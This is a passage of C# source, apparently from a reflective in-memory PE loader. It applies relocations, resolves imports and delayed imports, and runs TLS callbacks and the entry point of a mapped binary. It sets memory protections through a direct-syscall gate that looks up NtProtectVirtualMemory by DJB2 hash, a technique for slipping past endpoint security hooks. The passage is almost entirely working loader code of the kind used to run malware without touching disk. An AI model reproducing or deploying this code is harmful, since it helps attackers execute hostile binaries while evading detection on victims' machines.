(UInt16)(value >> 12); 726 | UInt16 fixup = (UInt16)(value & 0xfff); 727 | switch (type) 728 | { 729 | case 0x0: 730 | break; 731 | case 0xA: 732 | patchAddr = (IntPtr)((long)(dest.ToInt64() + (int)fixup)); 733 | //Add Delta To Location. 734 | long originalAddr = Marshal.ReadInt64(patchAddr); 735 | Marshal.WriteInt64(patchAddr, originalAddr + delta); 736 | break; 737 | } 738 | } 739 | offset = (IntPtr)((long)(relocationTable.ToInt64() + (int)sizeofNextBlock)); 740 | sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock; 741 | relocationEntry = relocationNextEntry; 742 | nextEntry = (IntPtr)((long)(nextEntry.ToInt64() + (int)sizeofNextBlock)); 743 | if (relocationNextEntry.SizeOfBlock == 0) break; 744 | } 745 | 746 | return PEBase; 747 | } 748 | 749 | public static void ResolveImport(IntPtr PEBase) { 750 | // parse the initial header of the PE 751 | IntPtr OptHeader = PEBase + Marshal.ReadInt32((IntPtr)(PEBase + 0x3C)) + 0x18; 752 | Int16 Magic = Marshal.ReadInt16(OptHeader + 0); 753 | IntPtr DataDirectoryAddr = IntPtr.Zero; 754 | if (Magic == 0x010b) { 755 | DataDirectoryAddr = (IntPtr)(OptHeader.ToInt64() + (long)0x60); // PE32, 0x60 = 96 756 | } 757 | else { 758 | DataDirectoryAddr = (IntPtr)(OptHeader.ToInt64() + (long)0x70); // PE32+, 0x70 = 112 759 | } 760 | 761 | // check if current PE have any import(s) 762 | if ((int)Marshal.ReadInt32((IntPtr)(DataDirectoryAddr.ToInt64() + (long)96 + (long)4)) == 0) { 763 | return; 764 | } 765 | 766 | // get import table address 767 | int ImportTableSize = Marshal.ReadInt32((IntPtr)(DataDirectoryAddr.ToInt64() + (long)12)); // IMPORT TABLE Size = byte 8 + 4 (4 is the size of the RVA) from the start of the data directory 768 | IntPtr ImportTableAddr = (IntPtr)(PEBase.ToInt64() + (long)Marshal.ReadInt32((IntPtr)DataDirectoryAddr + 8)); // IMPORT TABLE RVA = byte 8 from the start of the data directory 769 | int ImportTableCount = (ImportTableSize / 20); 770 | 771 | // iterates through the import tables 772 | for (int i = 0; i < (ImportTableCount - 1); i++) { 773 | IntPtr CurrentImportTableAddr = (IntPtr)(ImportTableAddr.ToInt64() + (long)(20 * i)); 774 | 775 | string CurrentImportTableName = Marshal.PtrToStringAnsi((IntPtr)(PEBase.ToInt64() + (long)Marshal.ReadInt32(CurrentImportTableAddr + 12))).Trim(); // Name RVA = byte 12 from start of the current import table 776 | if (CurrentImportTableName.StartsWith("api-ms-win")) { // fucking API set schema shit stuff 777 | continue; 778 | } 779 | 780 | // get IAT (FirstThunk) and ILT (OriginalFirstThunk) address from Import Table 781 | IntPtr CurrentImportIATAddr = (IntPtr)(PEBase.ToInt64() + (long)Marshal.ReadInt32((IntPtr)(CurrentImportTableAddr.ToInt64() + (long)16))); // IAT RVA = byte 16 from the start of the current import table 782 | IntPtr CurrentImportILTAddr = (IntPtr)(PEBase.ToInt64() + (long)Marshal.ReadInt32(CurrentImportTableAddr)); // ILT RVA = byte 0 from the start of the current import table 783 | 784 | // get the imported module base address 785 | IntPtr ImportedModuleAddr = IntPtr.Zero; 786 | try{ ImportedModuleAddr = (Process.GetCurrentProcess().Modules.Cast().Where(x => CurrentImportTableName.Equals(Path.GetFileName(x.FileName), StringComparison.OrdinalIgnoreCase)).FirstOrDefault().BaseAddress); }catch{} 787 | if (ImportedModuleAddr == IntPtr.Zero) { // check if its loaded or not 788 | ImportedModuleAddr = LoadLibrary(CurrentImportTableName); 789 | if (ImportedModuleAddr == IntPtr.Zero) { 790 | continue; 791 | } 792 | } 793 | 794 | // loop through the functions 795 | for (int z = 0; z < 999999; z++) { 796 | IntPtr CurrentFunctionILTAddr = (IntPtr)(CurrentImportILTAddr.ToInt64() + (long)(IntPtr.Size * z)); 797 | IntPtr CurrentFunctionIATAddr = (IntPtr)(CurrentImportIATAddr.ToInt64() + (long)(IntPtr.Size * z)); 798 | 799 | // check if current ILT is empty 800 | if (Marshal.ReadIntPtr(CurrentFunctionILTAddr) == IntPtr.Zero) { // the ILT is null, which means we're already on the end of the table 801 | break; 802 | } 803 | 804 | IntPtr CurrentFunctionNameAddr = (IntPtr)(PEBase.ToInt64() + (long)Marshal.ReadIntPtr(CurrentFunctionILTAddr)); // reading a union structure for getting the name RVA 805 | string CurrentFunctionName = Marshal.PtrToStringAnsi(CurrentFunctionNameAddr + 2).Trim(); // reading the Name field on the Name table 806 | 807 | 808 | if (String.IsNullOrEmpty(CurrentFunctionName)) { 809 | continue; // used to silence ntdll's RtlDispatchApc ordinal imported by kernelbase 810 | } 811 | 812 | // get current function real address 813 | IntPtr CurrentFunctionRealAddr = GetExportAddress(ImportedModuleAddr, CurrentFunctionName); 814 | if (CurrentFunctionRealAddr == IntPtr.Zero) { 815 | continue; 816 | } 817 | 818 | try { Marshal.WriteIntPtr(CurrentFunctionIATAddr, CurrentFunctionRealAddr); }catch{ 819 | continue; 820 | } 821 | } 822 | } 823 | } 824 | 825 | public static void ResolveDelayedImport(IntPtr PEBase) { 826 | // parse the initial header of the PE 827 | IntPtr OptHeader = PEBase + Marshal.ReadInt32((IntPtr)(PEBase + 0x3C)) + 0x18; 828 | IntPtr SizeOfHeaders = (IntPtr)Marshal.ReadInt32(OptHeader + 60); 829 | Int16 Magic = Marshal.ReadInt16(OptHeader + 0); 830 | IntPtr DataDirectoryAddr = IntPtr.Zero; 831 | if (Magic == 0x010b) { 832 | DataDirectoryAddr = (IntPtr)(OptHeader.ToInt64() + (long)0x60); // PE32, 0x60 = 96 833 | } 834 | else { 835 | DataDirectoryAddr = (IntPtr)(OptHeader.ToInt64() + (long)0x70); // PE32+, 0x70 = 112 836 | } 837 | 838 | int DelayImportTableSize = Marshal.ReadInt32((IntPtr)(DataDirectoryAddr.ToInt64() + (long)108)); 839 | IntPtr DelayImportTableAddr = (IntPtr)(PEBase.ToInt64() + (long)Marshal.ReadInt32((IntPtr)DataDirectoryAddr + 104)); 840 | if (DelayImportTableSize < 1) { 841 | return; 842 | } 843 | int DelayImportTableCount = DelayImportTableSize / 32; 844 | 845 | for (int i = 0; i < (DelayImportTableCount - 1); i++) { 846 | IntPtr CurrentDelayImportTableAddr = DelayImportTableAddr + (i * 32); 847 | 848 | string CurrentDelayImportTableName = Marshal.PtrToStringAnsi((IntPtr)(PEBase.ToInt64() + (long)Marshal.ReadInt32(CurrentDelayImportTableAddr + 4))).Trim(); 849 | if (CurrentDelayImportTableName.StartsWith("api-ms-win")) { // fucking API set schema shit stuff 850 | continue; 851 | } 852 | 853 | IntPtr CurrentDelayImportIATAddr = (IntPtr)(PEBase.ToInt64() + (long)Marshal.ReadInt32((IntPtr)(CurrentDelayImportTableAddr.ToInt64() + (long)12))); 854 | IntPtr CurrentDelayImportINTAddr = (IntPtr)(PEBase.ToInt64() + (long)Marshal.ReadInt32((IntPtr)(CurrentDelayImportTableAddr.ToInt64() + (long)16))); 855 | 856 | IntPtr DelayImportedModuleAddr = IntPtr.Zero; 857 | try{ DelayImportedModuleAddr = (Process.GetCurrentProcess().Modules.Cast().Where(x => CurrentDelayImportTableName.Equals(Path.GetFileName(x.FileName), StringComparison.OrdinalIgnoreCase)).FirstOrDefault().BaseAddress); }catch{} 858 | if (DelayImportedModuleAddr == IntPtr.Zero) { // check if its loaded or not 859 | DelayImportedModuleAddr = LoadLibrary(CurrentDelayImportTableName); 860 | if (DelayImportedModuleAddr == IntPtr.Zero) { 861 | continue; 862 | } 863 | } 864 | 865 | // loop through the functions 866 | for (int z = 0; z < 999999; z++) { 867 | IntPtr CurrentFunctionINTAddr = (IntPtr)(CurrentDelayImportINTAddr.ToInt64() + (long)(IntPtr.Size * z)); 868 | IntPtr CurrentFunctionIATAddr = (IntPtr)(CurrentDelayImportIATAddr.ToInt64() + (long)(IntPtr.Size * z)); 869 | 870 | // check if current ILT is empty 871 | if (Marshal.ReadIntPtr(CurrentFunctionINTAddr) == IntPtr.Zero) { // the INT is null, which means we're already on the end of the table 872 | break; 873 | } 874 | 875 | IntPtr CurrentFunctionNameAddr = (IntPtr)(PEBase.ToInt64() + (long)Marshal.ReadIntPtr(CurrentFunctionINTAddr)); // reading a union structure for getting the name RVA 876 | string CurrentFunctionName = Marshal.PtrToStringAnsi(CurrentFunctionNameAddr + 2).Trim(); // reading the Name field on the Name table 877 | 878 | if (String.IsNullOrEmpty(CurrentFunctionName)) { 879 | continue; // used to silence ntdll's RtlDispatchApc ordinal imported by kernelbase 880 | } 881 | 882 | // get current function real address 883 | IntPtr CurrentFunctionRealAddr = GetExportAddress(DelayImportedModuleAddr, CurrentFunctionName); 884 | if (CurrentFunctionRealAddr == IntPtr.Zero) { 885 | continue; 886 | } 887 | 888 | try { Marshal.WriteIntPtr(CurrentFunctionIATAddr, CurrentFunctionRealAddr); }catch{ 889 | continue; 890 | } 891 | } 892 | } 893 | } 894 | 895 | public static void SetMemoryProtections(IntPtr PEBase, PEReader PE, SysGate sysgate) { 896 | NTPVM fSyscallNTPVM = (NTPVM)Marshal.GetDelegateForFunctionPointer(sysgate.GatePositionAddress, typeof(NTPVM)); 897 | 898 | for (int i = 0; i < PE.FileHeader.NumberOfSections; i++) { 899 | bool execute = ((uint) PE.ImageSectionHeaders[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0; 900 | bool read = ((uint) PE.ImageSectionHeaders[i].Characteristics & IMAGE_SCN_MEM_READ) != 0; 901 | bool write = ((uint) PE.ImageSectionHeaders[i].Characteristics & IMAGE_SCN_MEM_WRITE) != 0; 902 | 903 | uint protection = PAGE_EXECUTE_READWRITE; 904 | 905 | if (execute && read && write) 906 | { 907 | protection = PAGE_EXECUTE_READWRITE; 908 | } 909 | else if (!execute && read && write) 910 | { 911 | protection = PAGE_READWRITE; 912 | } 913 | else if (!write && execute && read) 914 | { 915 | protection = PAGE_EXECUTE_READ; 916 | } 917 | else if (!execute && !write && read) 918 | { 919 | protection = PAGE_READONLY; 920 | } 921 | else if (execute && !read && !write) 922 | { 923 | protection = PAGE_EXECUTE; 924 | } 925 | else if (!execute && !read && !write) 926 | { 927 | protection = PAGE_NOACCESS; 928 | } 929 | 930 | IntPtr TargetPtr = PEBase + (int)PE.ImageSectionHeaders[i].VirtualAddress; 931 | IntPtr TargetSize = (IntPtr)PE.ImageSectionHeaders[i].VirtualSize; 932 | 933 | uint newProtect = 0; 934 | sysgate.Gate(SysGate.GetFunctionDJB2Hash("NtProtectVirtualMemory")); 935 | fSyscallNTPVM((IntPtr)(-1), ref TargetPtr, ref TargetSize, protection, ref newProtect); 936 | } 937 | 938 | FlushInstructionCache((IntPtr)(-1), IntPtr.Zero, (UIntPtr)0); 939 | } 940 | 941 | public static void ExecuteTLSCallback(IntPtr PEBase) { 942 | // parse the initial header of the PE 943 | IntPtr OptHeader = PEBase + Marshal.ReadInt32((IntPtr)(PEBase + 0x3C)) + 0x18; 944 | Int16 Magic = Marshal.ReadInt16(OptHeader + 0); 945 | IntPtr DataDirectoryAddr = IntPtr.Zero; 946 | if (Magic == 0x010b) { 947 | DataDirectoryAddr = (IntPtr)(OptHeader.ToInt64() + (long)0x60); // PE32, 0x60 = 96 948 | } 949 | else { 950 | DataDirectoryAddr = (IntPtr)(OptHeader.ToInt64() + (long)0x70); // PE32+, 0x70 = 112 951 | } 952 | 953 | int TLSTableSize = Marshal.ReadInt32((IntPtr)(DataDirectoryAddr.ToInt64() + (long)76)); 954 | IntPtr TLSTableAddr = (IntPtr)(PEBase.ToInt64() + (long)Marshal.ReadInt32((IntPtr)DataDirectoryAddr + 72)); 955 | if (TLSTableSize < 1) { 956 | return; 957 | } 958 | IntPtr TLSCallbacksAddr = Marshal.ReadIntPtr(TLSTableAddr + (IntPtr.Size * 3)); // smart ass 959 | 960 | for (int i = 0; i < 999999; i++) { 961 | IntPtr CurrentTLSCallbackAddr = Marshal.ReadIntPtr(TLSCallbacksAddr + (IntPtr.Size * i)); 962 | if (CurrentTLSCallbackAddr == IntPtr.Zero) { // we're at the end of the table 963 | break; 964 | } 965 | 966 | IMAGE_TLS_CALLBACK_Delegate CurrentTLSCallback = (IMAGE_TLS_CALLBACK_Delegate)Marshal.GetDelegateForFunctionPointer(CurrentTLSCallbackAddr, typeof(IMAGE_TLS_CALLBACK_Delegate)); 967 | CurrentTLSCallback(PEBase, 1, IntPtr.Zero); 968 | } 969 | } 970 | 971 | public static void RegisterExceptionHandler(IntPtr PEBase) { 972 | IntPtr OptHeader = PEBase + Marshal.ReadInt32((IntPtr)(PEBase + 0x3C)) + 0x18; 973 | Int16 Magic = Marshal.ReadInt16(OptHeader + 0); 974 | IntPtr DataDirectoryAddr = IntPtr.Zero; 975 | if (Magic == 0x010b) { 976 | DataDirectoryAddr = (IntPtr)(OptHeader.ToInt64() + (long)0x60); // PE32, 0x60 = 96 977 | } 978 | else { 979 | DataDirectoryAddr = (IntPtr)(OptHeader.ToInt64() + (long)0x70); // PE32+, 0x70 = 112 980 | } 981 | 982 | int ExceptionHandlerTableSize = Marshal.ReadInt32((IntPtr)(DataDirectoryAddr.ToInt64() + (long)28)); 983 | IntPtr ExceptionHandlerTableAddr = (IntPtr)(PEBase.ToInt64() + (long)Marshal.ReadInt32((IntPtr)DataDirectoryAddr + 24)); 984 | if (ExceptionHandlerTableSize < 1) { 985 | return; 986 | } 987 | 988 | RtlAddFunctionTable(ExceptionHandlerTableAddr, (UInt32)((ExceptionHandlerTableSize / 12) - 1), PEBase); 989 | } 990 | 991 | public static void ExecuteEntryPoint(IntPtr PEBase, PEReader PE) { 992 | if (PE.OptionalHeader64.AddressOfEntryPoint < 1) { 993 | return; 994 | } 995 | 996 | // get and calculate AOEP 997 | IntPtr AOEP = (IntPtr)((long)(PEBase.ToInt64() + (int)PE.OptionalHeader64.AddressOfEntryPoint)); 998 | // create delegate for AOEP and execute it 999 | DllMainDelegate ExecutePE = (DllMainDelegate)Marshal.GetDelegateForFunctionPointer(AOEP, typeof(DllMainDelegate)); 1000 | ExecutePE(PEBase, 1, IntPtr.Zero); 1001 | } 1002 | } --------------------------------------------------------------------------------